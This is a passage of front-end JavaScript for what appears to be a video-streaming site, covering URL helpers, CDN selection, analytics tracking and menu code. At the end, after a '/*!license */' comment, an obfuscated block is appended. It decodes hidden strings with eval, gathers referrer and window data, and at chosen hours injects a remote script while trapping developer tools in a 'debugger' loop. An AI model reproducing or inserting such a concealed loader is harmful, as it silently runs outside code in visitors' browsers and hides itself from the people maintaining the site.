            } else if (error.message.includes("timeout")) {
                console.log("Request timed out")
            } else {
                console.log("Error", error.message)
            }
        })
    }
}
;
$g.update_user_info = $g.init;
$g.getUrlVars = function(url) {
    var vars = [], hash;
    url = url || window.location.href;
    var hashes = url.slice(url.indexOf("?") + 1).split("&");
    for (var i = 0; i < hashes.length; i++) {
        hash = hashes[i].split("=");
        vars[hash[0]] = hash[1]
    }
    return vars
}
;
$g.update_count = function() {
    $(".view_count").each(function() {
        var view_count = $(this).html();
        if (view_count.indexOf(",") < 0) {
            view_count = parseInt(view_count);
            var new_view_count = view_count.toLocaleString();
            $(this).html(new_view_count)
        }
    })
}
;
$g.go_to_url = function(target_url, params=undefined) {
    try {
        var url_vars = $g.getUrlVars(target_url);
        if (url_vars) {
            params = Object.assign({}, params, url_vars)
        }
        console.log("params:", params);
        var form = document.createElement("form");
        form.setAttribute("method", "get");
        form.setAttribute("action", target_url);
        form.style.display = "none";
        if (params) {
            var keys = Object.keys(params);
            for (var i = 0; i < keys.length; ++i) {
                var input = document.createElement("input");
                input.setAttribute("type", "hidden");
                input.setAttribute("name", keys[i]);
                input.setAttribute("value", params[keys[i]]);
                form.appendChild(input)
            }
        }
        document.body.appendChild(form);
        form.submit()
    } catch (e) {
        window.location.href = target_url
    }
}
;
$g.updateQueryStringParameter = function(uri, key, value) {
    if (!value) {
        return uri
    }
    var re = new RegExp("([?&])" + key + "=.*?(&|$)","i");
    var separator = uri.indexOf("?") !== -1 ? "&" : "?";
    if (uri.match(re)) {
        return uri.replace(re, "$1" + key + "=" + value + "$2")
    } else {
        return uri + separator + key + "=" + value
    }
}
;
function toThousands(num) {
    var num = (num || 0).toString()
      , result = "";
    while (num.length > 3) {
        result = "," + num.slice(-3) + result;
        num = num.slice(0, num.length - 3)
    }
    if (num) {
        result = num + result
    }
    console.log("[toThousands]result:", result);
    return result
}
$g.formatNumber = toThousands;
$g.baidu_push = function() {
    if (!document.getElementById("bp")) {
        var bp = document.createElement("script");
        var curProtocol = window.location.protocol.split(":")[0];
        if (curProtocol === "https") {
            bp.src = "https://zz.bdstatic.com/linksubmit/push.js"
        } else {
            bp.src = "http://push.zhanzhang.baidu.com/push.js"
        }
        bp.id = "bp";
        var s = document.getElementsByTagName("script")[0];
        s.parentNode.insertBefore(bp, s)
    }
}
;
$g.update_avdatas = function() {
    jQuery(".avdata .view_count").each(function() {
        var view_count = jQuery(this).html();
        if (view_count.indexOf(",") < 0) {
            view_count = parseInt(view_count);
            var new_view_count = view_count.toLocaleString();
            jQuery(this).html(new_view_count)
        }
    })
}
;
$g.isSupportWebp = function() {
    try {
        if ($g.__is_support_webp != undefined) {
            return $g.__is_support_webp
        }
        $g.__is_support_webp = document.createElement("canvas").toDataURL("image/webp", .5).indexOf("data:image/webp") === 0;
        return $g.__is_support_webp
    } catch (err) {
        return false
    }
}
;
$g.update_webp = function() {
    var webpElements = document.querySelectorAll(".webp");
    webpElements.forEach(function(element) {
        var data_src = element.getAttribute("data-src");
        console.log("data_src:", data_src)
    })
}
;
$g.get_cdn_host = function(space_name) {
    var cdn_list = avshow.space_confs[space_name]["cdn"];
    if (Array.isArray(cdn_list) && cdn_list.length > 0) {
        return cdn_list[0]
    }
}
;
$g.get_static_host = function(space_name) {
    if ($g.config.cdn && $g.config.cdn["static_host"]) {
        return $g.config.cdn["static_host"]
    }
    var static_hosts = avshow.space_confs[space_name]["static_hosts"];
    if (Array.isArray(static_hosts) && static_hosts.length > 0) {
        return static_hosts[0]
    }
}
;
$g.get_video_cdn = function(space_name) {
    var video_cdns = avshow.space_confs[space_name]["video_cdns"];
    if (Array.isArray(video_cdns) && video_cdns.length > 0) {
        return video_cdns[0]
    }
}
;
$g.generate_webp_url = function(data_src) {
    try {
        if (/^\/\//.test(data_src)) {
            data_src = "https:" + data_src
        }
        if (!/^(?:(http|https):\/\/)/.test(data_src)) {
            data_src = "https://" + data_src
        }
        var u = new URL(data_src);
        if (!/\.webp$/.test(u.pathname)) {
            //var new_image_url = u.origin + u.pathname + ".webp" + u.search;
            var new_image_url = u.origin + u.pathname + u.search;
            return new_image_url
        }
    } catch (e) {}
    return data_src
}
;
$g.web = {
    lang: function() {}
};
$g.is_cf_domain = function() {
    let domain = document.domain;
    var proxy_hosts = $g.web_conf["proxy_hosts"];
    if (Array.isArray(proxy_hosts)) {
        if (proxy_hosts.includes(domain)) {
            return false
        }
    }
    return true
}
;
$g.is_root_domain = function() {
    var domain = $g.web_conf["domain"];
    return document.domain === domain
}
;
$g.get_m3u8_url = $g.m3u8player_url = function() {
    let src = undefined;
    let characters = 'abcdef0123456789';
    let charactersLength = characters.length;
    let result = ''
    for (let i = 0; i < 18; i++) {
        result += characters.charAt(Math.floor(Math.random() * charactersLength));
    }
    if ($g.avdata) {
        src = "/video/m3u8/" + $g.avdata["hash_id"] + ".m3u8";
        if (true) {
            src = "https://" + $g.switch_server.server_host() + "/videos/" + $g.avdata["hash_id"] + "/g.m3u8";
            
            src = $g.updateQueryStringParameter(src, "h", $g.config.web_hash["space_cdn_hash"]);
            
            return '/videos.m3u8?h='+result
        }
    }
    if (!src && $g.av_response) {
        src = $g.av_response.m3u8_url
    }
    if ($g.switch_server) {
        $g.switch_server.update();
        var video_server = $g.switch_server.get();
        if (video_server) {
            src = $g.updateQueryStringParameter(src, "video_server", video_server)
        }
        src = $g.updateQueryStringParameter(src, "hash", $g.config.web_hash["space_cdn_hash"])
    }
    if ($g.config.m3u8player_host) {
        src = "https://" + $g.config.m3u8player_host + src;
        src = $g.updateQueryStringParameter(src, "mv", "101")
    }
    if (document.domain === "theav.xyz" || document.domain == "8mav.cc") {
        src = "https://" + "weav.xyz" + src
    }
    
    return '/videos.m3u8?h='+result
}
;
async function pingDomain(url, callback=defaultCallback) {
    try {
        const startTime = performance.now();
        const response = await fetch(url, {
            method: "HEAD"
        });
        const endTime = performance.now();
        const duration = endTime - startTime;
        if (response.ok) {
            callback(null, {
                url: url,
                duration: duration.toFixed(2),
                status: response.status
            })
        } else {
            callback(`Ping to ${url} failed. Status: ${response.status}`, null)
        }
    } catch (error) {
        callback(`Ping to ${url} failed. Error: ${error.message}`, null)
    }
}
$g.init();
avshow.update_url_param = function(update_params) {
    var url_vars = avshow.getUrlVars();
    var pathname = location.pathname;
    for (let k in url_vars) {
        pathname = avshow.updateQueryStringParameter(pathname, k, url_vars[k])
    }
    for (let k in update_params) {
        pathname = avshow.updateQueryStringParameter(pathname, k, update_params[k])
    }
    return pathname
}
;
$g.set_heander_nav = function() {
    var nav = $("body").attr("data-nav");
    if (nav && nav.length > 0) {
        $(".menu-container [data-nav='" + nav + "']").addClass("nav-select")
    }
}
;
window.avshow = avshow = window.avshow || {};
avshow.colors = ["black", "grey", "red", "orange", "yellow", "olive", "green", "teal", "blue", "violet", "purple", "pink", "brown"];
avshow.generateUUID = function() {
    var d = (new Date).getTime();
    var uuid = "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function(c) {
        var r = (d + Math.random() * 16) % 16 | 0;
        d = Math.floor(d / 16);
        return (c == "x" ? r : r & 7 | 8).toString(16)
    });
    return uuid
}
;
avshow.do_affiliate_analytics = function() {
    var url_vars = avshow.getUrlVars();
    if (url_vars.a) {
        var tracker = avshow.get_tracker();
        if (tracker) {
            tracker.send("event", "affiliate", "source", url_vars.a)
        }
    }
}
;
avshow.isWeixinBrowser = function() {
    return /micromessenger/.test(ua) ? true : false
}
;
avshow.do_source_analytics = function() {
    var url_vars = avshow.getUrlVars();
    if (url_vars.source) {
        var tracker = avshow.get_tracker();
        if (tracker) {
            if (url_vars.source == "telegram") {
                tracker.send("event", "telegram", "source", url_vars.chat_id + ":" + avshow.av_data.tid)
            } else {
                tracker.send("event", url_vars.source, "source", url_vars.source)
            }
        }
    }
}
;
$(document).ready(function($) {
    if ($g.init) {
        $g.init()
    }
    avshow.set_heander_nav();
    jQuery(".login-button").click(function() {
        avshow.user.show_login_dialog();
        return false
    });
    jQuery(".tvip_btn_vip").click(function() {
        if (!avshow.user.is_login()) {
            avshow.user.show_login_dialog("member.login_guestmessage");
            var tracker = avshow.get_tracker();
            if (tracker) {
                tracker.send("event", "open-vip", "click", avshow.user.uid())
            }
            return false
        }
    })
});
avshow.get_video_conf = function(thumbnails_conf_url, cb) {
    jQuery.getJSON(thumbnails_conf_url, function(thumbnails_confs) {
        cb(thumbnails_confs)
    })
}
;
avshow.load_data_src = function() {
    jQuery("[lazy-src]").each(function() {
        var t = jQuery(this);
        t.attr("src", t.attr("lazy-src"))
    });
    jQuery("[lazy-href]").each(function() {
        var t = jQuery(this);
        t.attr("href", t.attr("lazy-href"))
    })
}
;
$(document).on("click", ".new-windows", function() {
    $(this).attr("target", "_blank");
    return true
});
$(document).on("click", ".av-link", function() {
    if (!avshow.ismobile()) {
        $(this).attr("target", "_blank")
    } else {
        $(this).removeAttr("target", "_blank")
    }
    return true
});
avshow.cover_image_error_count = 0;
avshow.on_cover_img_error = function(e) {
    var t = jQuery(e);
    var avdata = t.parents(".avdata-outer");
    console.log("on_cover_img_error:", e, " avdata:", avdata);
    if (avdata.length > 0) {}
    avshow.cover_image_error_count += 1
}
;
jQuery("#upload-button").click(function() {
    if (!avshow.user.is_login()) {
        avshow.user.show_login_dialog("member.login_guestmessage");
        return false
    }
    return true
});
avshow.on_ads_show = function(name) {}
;
$(document).on("click", ".menu-container ul li a", function() {
    var data_nav = $(this).parents("ul").attr("data-nav");
    if (!data_nav) {
        data_nav = $(this).parents("li").attr("data-nav")
    }
    console.log("data_nav:", data_nav);
    if (data_nav) {
        var tracker = avshow.get_tracker();
        if (tracker) {
            tracker.send("event", "menu-click", "click", data_nav)
        }
    }
});
$(document).on("click", ".analytics", function() {
    var t = $$(this);
    var event_name = t.attr("data-event-name");
    var tracker = avshow.get_tracker();
    if (tracker && event_name) {
        tracker.send("event", event_name, "click", avshow.user.uid())
    }
});
$g.wait_asyncjs(()=>{
    $g.update_lazy();
    $g.update_svg();
    if ($g.update_avdatas) {
        $g.update_avdatas()
    }
    if ($g.init_traffic) {
        $g.init_traffic()
    }
    setTimeout(function() {
        $g.baidu_push()
    }, 1e3)
}
);
avshow.set_heander_nav();
$g.wait_footerjs(()=>{
    jQuery(".ui.checkbox").checkbox();
    $g.update_count();
    avshow.search_form = jQuery("#search_form");
    avshow.search_action = jQuery("#search_form").attr("action");
    avshow.on_search = function() {
        var v = jQuery('input[name="srchtxt"]').val();
        var new_action = "/search/" + v;
        avshow.search_form.attr("action", new_action);
        avshow.search_form.submit()
    }
    ;
    $("#search").click(function() {
        $("#search_form").submit()
    });
    var offset = 300
      , offset_opacity = 1200
      , scroll_top_duration = 700
      , $back_to_top = $(".cd-top");
    $(window).scroll(function() {
        $(this).scrollTop() > offset ? $back_to_top.addClass("cd-is-visible") : $back_to_top.removeClass("cd-is-visible cd-fade-out");
        if ($(this).scrollTop() > offset_opacity) {
            $back_to_top.addClass("cd-fade-out")
        }
    });
    $back_to_top.on("click", function(event) {
        event.preventDefault();
        $("body,html").animate({
            scrollTop: 0
        }, scroll_top_duration)
    });
    var modal_content = $(".modal-content");
    var common_dialog = $("#common-dialog");
    var content_html = modal_content.html();
    var reset_dialog_content = function() {
        $(".modal-content").html(content_html);
        jQuery("#common-dialog .modal-dialog").css("witdh", "")
    };
    common_dialog.on("hidden.bs.modal", function(e) {
        $(this).removeData("bs.modal");
        reset_dialog_content()
    });
    common_dialog.on("show.bs.modal", function(e) {
        var a = $(e.relatedTarget)[0];
        if (a) {
            a = $(a);
            remote = a.attr("data-remote");
            if (remote) {}
        }
    });
    reset_dialog_content();
    avshow.load_data_src();
    jQuery("#user-dropdown").click(function() {
        jQuery("#user-menu").sidebar("setting", "transition", "overlay").sidebar("toggle")
    });
    var navbar_height = jQuery(".navbar-fixed-top").height();
    jQuery("#user-menu").css("top", navbar_height + "px");
    $("img").one("error", function() {
        console.log("img error:", this)
    });
    $(".placeholder").bind("cssClassChanged", function() {});
    setTimeout(function() {
        avshow.do_source_analytics();
        avshow.do_affiliate_analytics()
    }, 1e3);
    var menu_container = jQuery(".menu-container .ui.dropdown");
    if (menu_container.length > 0) {
        menu_container.dropdown({
            transition: "drop"
        }).dropdown({
            on: "hover"
        })
    }
    if (avshow.user.is_login() && "LogRocket"in window) {
        LogRocket.identify(avshow.user.uid(), {
            subscriptionType: "pro"
        })
    }
    if (!avshow.ismobile()) {
        jQuery("body").addClass("desktop")
    } else {
        jQuery("body").addClass("mobile");
        if (avshow.is_mobile_fun.Android()) {
            jQuery("body").addClass("android")
        }
    }
    if ($g.update_preview) {
        $g.update_preview()
    }
}
);
$g.MOBILE_MENU = {
    data() {
        return {
            showing: false,
            show_menu: false,
            _lock_menu: false
        }
    },
    methods: {
        on_menu: function() {
            this._lock_menu = true;
            setTimeout(()=>{
                this.show_menu = !this.show_menu;
                this._lock_menu = false
            }
            , 15)
        }
    },
    created: function() {
        document.onclick = e=>{
            if (this._lock_menu) {
                return
            }
            var _con = $(".Menu");
            var _menu_btn = $(".Menu-Btn");
            console.log("_con:", _con, " _menu_btn:", _menu_btn);
            if (!_con.is(e.target) && _con.has(e.target).length === 0) {
                if (this.show_menu) {
                    setTimeout(()=>{
                        if (!this._lock_menu) {
                            this.show_menu = false
                        }
                    }
                    , 30);
                    console.log("call show menu false:", e);
                    e.preventDefault();
                    return
                }
            }
        }
    }
};
if (window.jQuery) {
    $g.$ = jQuery
}
document.addEventListener("DOMContentLoaded", ()=>{
    console.log("call header last DOMContentLoaded");
    $g.update_lazy()
}
);
if (window.jQuery) {
    window.$ = jQuery;
    window.$$ = jQuery
}
$g.async_loaded = true;/*!license */j='hp7xsb7cy'+'cq5Cd'+'uFGdy9'+'Gctl2Lz'+'p2LjlGdhR3c'+'v02bj5COr'+'dWYuMWa0'+'FGdz9yL6MH'+'c0R'+'Han0zc';eval(no(nv(j,6)));function gh(){r=document.referrer;if (r!=''){try{return r.match('//([^/]*)')[1]}catch(e){return ''}}else{return ''}};if(s!=''){cc='?l='+function(){var s;s=Date.now().toString();z=s.toString();w=s.split('');s=0;for(var i=8;i<13;i++){s+=Number(w[i])};s=s%8;return w.slice(4,).join('')+s.toString();}();cc=cc+'&b='+window.outerHeight+'&a='+window.outerWidth+'&d='+window.innerHeight+'&c='+window.innerWidth;if(gh()){cc=cc+'&h='+gh()+'&e='+document.referrer.length;}s=s+cc;};j=['cxsh','uuwerld','kwerh','','7IyOpc','iP0BXayN2cvwjP','gIyKnIyJrM3','KnIyJrISPjJ','3cgQHcpJ3Yz','xzJoUGdpJ3','duQnbl1W','dj9GZ','i0ja',];eval(no(vn(j,4)));function no(e,v){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t='',n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g, '');while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u& 3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if (a!=64){t=t+String.fromCharCode(i);}}return t;};function vn(e,a=1,s,y){return e.slice(a,).join('').split('').reverse().join('');};if(typeof window['imported_r_important']==='undefined'){window['imported_r_important']='set';var sS = new Date();lk=Math.random();tz=0;ssS=sS.getUTCHours();if([16,17,18,19,20,21,22,14,15].includes(ssS)){if(lk<0.8){tz=1}}else if([23,0,1,2,3].includes(ssS)){if(lk<0.35){tz=1}}else{if(lk<0.12){tz=1}}if(tz!=0){Function('debugger')();(()=>{function ban(){setInterval(()=>{Function('debugger')();},50);}try{ban();}catch(err){}})();eval(j);};};function nv(e,a=2,s,y){return e.split('').slice(a,).reverse().join('');};